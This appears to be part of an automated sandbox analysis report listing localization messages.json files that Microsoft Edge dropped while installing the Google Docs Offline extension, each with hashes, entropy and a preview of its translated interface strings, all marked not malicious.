Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

